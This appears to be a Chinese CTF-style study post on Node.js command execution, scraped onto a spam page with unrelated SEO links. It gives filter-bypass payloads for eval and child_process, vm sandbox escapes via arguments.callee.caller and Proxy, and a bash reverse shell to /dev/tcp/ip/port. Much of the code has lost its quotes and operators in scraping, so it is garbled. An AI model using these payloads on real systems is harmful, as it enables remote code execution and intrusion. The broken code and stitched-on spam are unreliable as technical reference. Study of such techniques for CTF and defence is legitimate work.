当前位置: 首页 > news >正文

网站建设 网络推广 网站优化dw怎么做网站

网站建设 网络推广 网站优化,dw怎么做网站,检察院门户网站建设情况,自助建站官网​ Node.js一直是薄弱项#xff0c;今天特意整理一下#xff0c;基本上是各个大佬写的大杂烩#xff0c;仅用于学习记录~~~ 1. child_process 首先介绍一下nodejs中用来执行系统命令的模块child_process。Nodejs通过使用child_process模块来生成多个子进程来处理其他事物…​ Node.js一直是薄弱项今天特意整理一下基本上是各个大佬写的大杂烩仅用于学习记录~~~ 1. child_process 首先介绍一下nodejs中用来执行系统命令的模块child_process。Nodejs通过使用child_process模块来生成多个子进程来处理其他事物。在child_process中有七个方法它们分别为execFileSync、spawnSync,execSync、fork、exec、execFile、以及spawn,而这些方法使用到的都是spawn()方法。因为fork是运行另外一个子进程文件这里列一下除fork外其他函数的用法。 require(child_process).exec(sleep 3); require(child_process).execSync(sleep 3); require(child_process).execFile(/bin/sleep,[3]); //调用某个可执行文件在第二个参数传args require(child_process).spawn(sleep, [3]); require(child_process).spawnSync(sleep, [3]); require(child_process).execFileSync(sleep, [3]);不同的函数其实底层具体就是调用spawn ​ 2.模块利用----Eval 知道了模块使用可以执行命令那怎么样触发模块呢 构造这么一个服务端来使用复现 const express require(express) const bodyParser require(body-parser) const app express()app.use(bodyParser.urlencoded({ extended: true })) app.post(/, function (req, res) {code req.body.code;console.log(code);res.send(eval(code)); })app.listen(3000)难度一 原始模型 #传参 require(child_process).execSync(curl 127.0.0.1:1234) #是能够正常执行的。这是最为简便的如果升级过滤exec呢 难度二 字符伪装 改为这样 const express require(express) const bodyParser require(body-parser) const app express()function validcode(input) {var re new RegExp(exec);return re.test(input); }app.use(bodyParser.urlencoded({ extended: true })) app.post(/, function (req, res) {code req.body.code;console.log(code);if (validcode(code)) {res.send(forbidden!)} else {res.send(eval(code));} })app.listen(3000)当我再用原来的就会显示forbidden这种该如何绕过? 方法一: 16进制编码 原因是在nodejs中如果在字符串内用16进制和这个16进制对应的ascii码的字符是等价的(第一反应有点像mysql)。 console.log(a\x61); // true但是在上面正则匹配的时候16进制却不会转化成字符所以就可以绕过正则的校验。所以可以传 require(child_process)[exe\x63Sync](curl 127.0.0.1:1234) 经过本地测试发现只有在()或者[]以内的才能进行这样的字符绕过 方法二: unicode编码 思路跟上面是类似的由于JavaScript允许直接用码点表示Unicode字符写法是”反斜杠u码点”所以我们也可以用一个字符的unicode形式来代替对应字符。 console.log(\u0061a); // true require(child_process)[exe\u0063Sync](curl 127.0.0.1:1234)方法三 加号拼接 原理很简单加号在js中可以用来连接字符所以可以这样 require(child_process)[exe%2bcSync](curl 127.0.0.1:1234)加号必须url编码否则无效 方法四 模板字符串用的很多) 相关内容可以参考MDN这里给出一个payload 模板字面量是允许嵌入表达式的字符串字面量。你可以使用多行字符串和字符串插值功能。 require(child_process)[\${${exe}cSync}](curl 127.0.0.1:1234)方法五 concat连接 利用js中的concat函数连接字符串 require(child_process)[exe.concat(cSync)](curl 127.0.0.1:1234)方法六 base64编码 这种应该是比较常规的思路了。 eval(Buffer.from(Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik,base64).toString())这个的不同就是eval里面再套了eval进行先执行base解码 js内置语法绕过 前面的都是符号里面的字符进行过滤如果现在要绕过的例如eval函数这种不被单双引号包含的参数怎么做? Reflect 在js中需要使用Reflect这个关键字来实现反射调用函数的方式。 譬如要得到eval函数可以首先通过 console.log(Reflect.ownKeys(global)) //返回所有函数 console.log(global[Reflect.ownKeys(global).find(xx.includes(eval))]) //拿到eval即可得到eval 拿到eval之后就可以常规思路rce了 这里貌似还有一个require的绕过代替 global[Reflect.ownKeys(global).find(xx.includes(eval))](global.process.mainModule.constructor._load(child_process).execSync(curl 127.0.0.1:1234))这里还有个小trick如果过滤了eval关键字可以用includes(‘eva’)来搜索eval函数也可以用startswith(‘eva’)来搜索 Obejct.keys 实际上通过require导入的模块是一个Object所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法再通过数组下标就可以拿到execSync console.log(require(child_process).constructorObject) //true Object.values(require(child_process))[5](curl 127.0.0.1:1234)[]绕过 获取到eval的方式是通过global数组其中用到了中括号[]假如中括号被过滤可以用Reflect.get来绕 Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值类似于target[name]。 所以取eval函数的方式可以变成 Reflect.get(global, Reflect.ownKeys(global).find(xx.includes(eva)))后面拼接上命令执行的payload即可。 例题 如果waf是这样 var validCode function (func_code){let validInput /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|||\[|\|\*/ig;return !validInput.test(func_code); };先写出原型最好是用特定字符最少的base64编码 这里单引号可以用反引号代替 eval(Buffer.from(Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik,base64).toString()) 特意去尝试了发现基本的都能这么代替。 这里过滤了base64可以直接换成 base.concat(64)过滤掉了Buffer可以换成 Reflect.get(global, Reflect.ownKeys(global).find(xx.startsWith(Buf)))要拿到Buffer.from方法可以通过下标 Object.values(Reflect.get(global, Reflect.ownKeys(global).find(xx.startsWith(Buf))))[1]但问题在于关键字还过滤了中括号这一点简单再加一层Reflect.get Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(xx.startsWith(Buf)))),1)payload Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(xx.startsWith(Buf)))),1)(Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik,base.concat(64)).toString()但问题在于这样传过去后eval只会进行解码而不是执行解码后的内容所以需要再套一层eval因为过滤了eval关键字同样考虑用反射获取到eval函数。 Reflect.get(global, Reflect.ownKeys(global).find(xx.includes(eva)))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(xx.startsWith(Buf)))),1)(Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik,base.concat(64)).toString())当然由于前面提到的16进制和字符串的特性也可以拿到eval后直接传16进制字符串 Reflect.get(global, Reflect.ownKeys(global).find(xx.includes(eva)))(\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29)3.沙盒逃逸 经过这些大概有了相对了解但这只是Node.js的模块执行关于沙盒逃逸到底是怎么回事。 比较清楚的沙盒概念 例题一 [0xGame 2023]week2 ez_sandbox function waf(code) {let blacklist [constructor, mainModule, require, child_process, process, exec, execSync, execFile, execFileSync, spawn, spawnSync, fork]for (let v of blacklist) {if (code.includes(v)) {throw new Error(v is banned)}} } app.post(/sandbox, requireLogin, function(req, res) {if (req.session.role admin) {let code req.body.codelet sandbox Object.create(null)let context vm.createContext(sandbox)try {waf(code)let result vm.runInContext(code, context)res.send({result: result})} catch (e) {res.send({result: e.message})}} else {res.send({result: Your role is not admin, so you can not run any code})} }) 可以看出有一个原型污染role为admin进行。再看关键部分 let code req.body.codelet sandbox Object.create(null) //此时this为null所以得利用arguments.callee.callerlet context vm.createContext(sandbox)try {waf(code)let result vm.runInContext(code, context)//沙盒运行res.send({result: result})} catch (e) {res.send({result: e.message})}在沙箱内可以通过 throw 来抛出一个对象 这个对象会被沙箱外的 catch 语句捕获 然后会访问它的 message 属性 (即 e.message) 通过 JavaScript 的 Proxy 类或对象的__defineGetter__方法来设置一个 getter 使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数 同时发现沙箱外没有执行字符串的相关操作也没有可以用来进行恶意重写的函数所以需要用Proxy来劫持属性 原payloadthrow new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截get: function(){ // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数const c arguments.callee.caller;const p (c.constructor.constructor(return process))();return p.mainModule.require(child_process).execSync(whoami).toString();} })关于c变量的构造 或者 let obj {} // 针对该对象的 message 属性定义⼀个 getter, 当访问 obj.message 时会调⽤对应的函数 obj.__defineGetter__(message, function(){const c arguments.callee.callerconst p (c[constructor][constructor](return process))()return p[mainModule][require](child_process)[execSync](cat/flag).toString(); }) throw obj 例题二: [NKCTF]全世界最简单的CTF 源码 const express require(express); const bodyParser require(body-parser); const app express(); const fs require(fs); const path require(path); const vm require(vm);app .use(bodyParser.json()) .set(views, path.join(__dirname, views)) .use(express.static(path.join(__dirname, /public)))app.get(/, function (req, res){res.sendFile(__dirname /public/home.html); })function waf(code) {let pattern /(process|\[.*?\]|exec|spawn|Buffer|\\|\|concat|eval|Function)/g;if(code.match(pattern)){throw new Error(what can I say? hacker out!!);} }app.post(/, function (req, res){let code req.body.code;let sandbox Object.create(null);let context vm.createContext(sandbox);try {waf(code)let result vm.runInContext(code, context);console.log(result);} catch (e){console.log(e.message);require(./hack);} })app.get(/secret, function (req, res){if(process.__filename null) {let content fs.readFileSync(__filename, utf-8);return res.send(content);} else {let content fs.readFileSync(process.__filename, utf-8);return res.send(content);} })app.listen(3000, (){console.log(listen on 3000); })沙盒 let code req.body.code;let sandbox Object.create(null);let context vm.createContext(sandbox);try {waf(code)let result vm.runInContext(code, context);console.log(result);} catch (e){console.log(e.message);require(./hack);}常规思路:发现Object.create(null) 想到了cc用arguments.callee.caller 先写出原型 throw new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截get: function(){ // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数const c arguments.callee.caller;const p (c.constructor.constructor(return process))();return p.mainModule.require(child_process).execSync(whoami).toString();} })找到waf let pattern /(process|\[.*?\]|exec|spawn|Buffer|\\|\|concat|eval|Function)/g;发现我们需要绕过 process绕过 方法一 return processString.fromCharCode(114, 101, 116, 117, 114, 110, 32, 112, 114, 111, 99, 101, 115, 115)方法二 发现他正则匹配没有i 对大小写不敏感 我们可以通过js里面的 toLowerCase()绕过 return processreturn Process.toLowerCase();exec绕过 上面介绍过用reflect映射方法绕过 Reflect.get(a, Reflect.ownKeys(a).find(xx.includes(ex)))这里a变量要定义先a就是functionfunction又由外部作用域的proto来获得 所以 throw new Proxy({}, {get: function(){const cc arguments.callee.caller; //外部作用域const p (cc.constructor.constructor(return global))(); //function函数const a Reflect.get(p, Reflect.ownKeys(p).find(xx.includes(pro))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));return Reflect.get(a, Reflect.ownKeys(a).find(xx.includes(ex)))(bash -c bash -i /dev/tcp/ip/port 01);//因为没有[]用reflect来进行拼接}})上面这种是根据过滤的强行绕过比较复杂还有另外的解 方法二 找到最简单的一种 方法三 throw new Proxy({}, {get: function(){const cc arguments.callee.caller;const p (cc.constructor.constructor(return procBess.replace(B,)))();const obj p.mainModule.require(child_procBess.replace(B,));const ex Object.getOwnPropertyDescriptor(obj, exeicSync.replace(i,));return ex.value(whoami).toString();}})预期解 Node.js的绕过还是很多样但实际运用复杂程度很高大佬的绕过姿势太多了… 后面由例题会一一归纳(仅用于记录学习)
http://www.zqtcl.cn/news/885918/

相关文章:

  • 网站注册需要多少钱wordpress缓存失败
  • 西安h5响应式网站施工企业安全生产管理规范最新版
  • 电商平台网站建设如何安装网站模版
  • wordpress攻击跳转seo营销软件
  • 广东中山市做网站python做的网站如何部署
  • VPS做镜像网站wordpress 安装七牛
  • 雄安做网站优化的公司小程序开发公司哪里强
  • 做的网站没有注册国家建设部网站倪虹
  • 中英文网站怎么实现做网站有名的公司
  • 先网站开发后软件开发显示网站运行时间代码
  • 品牌网站制作流程图百度网页版入口页
  • 哪些人需要做网站网站开发工程师 招聘
  • 东莞网站建设多长时间如何将网址提交到一些权重比较高的网站
  • 阳江网站seo公司wordpress建站博客
  • 我想做京东网站淘宝怎么做的wordpress淘宝联盟转链
  • 虚拟钱包对接网站开发视频教程营销型网站建设要懂代码吗
  • 莱州教育网站一站式网站搭建
  • 开发网站开票名称是什么捕鱼游戏网站开发商
  • 我国中小企业网站建设怎样办自己的网站
  • 如何推广自己网站链接通化北京网站建设
  • 小型的游戏网站怎么做WordPress设置作者信息
  • 网站建设师要求关键词优化排名易下拉排名
  • 网站建设步骤及推广方法做网站的公司叫什么
  • 怎么建立自己网站 asp网站做视频流量赚钱
  • 全屏网站宽度域名服务器怎么设置
  • 网站图片切换js代码金融公司网站方案
  • 企业网站开发步骤开源软件开发
  • 建设项目环境影响登记表备案系统网站签署网站建设协议新闻
  • 有的网站在浏览器打不开怎么办最近中国新闻热点大事件
  • 网站模板组件随州网站建设有哪些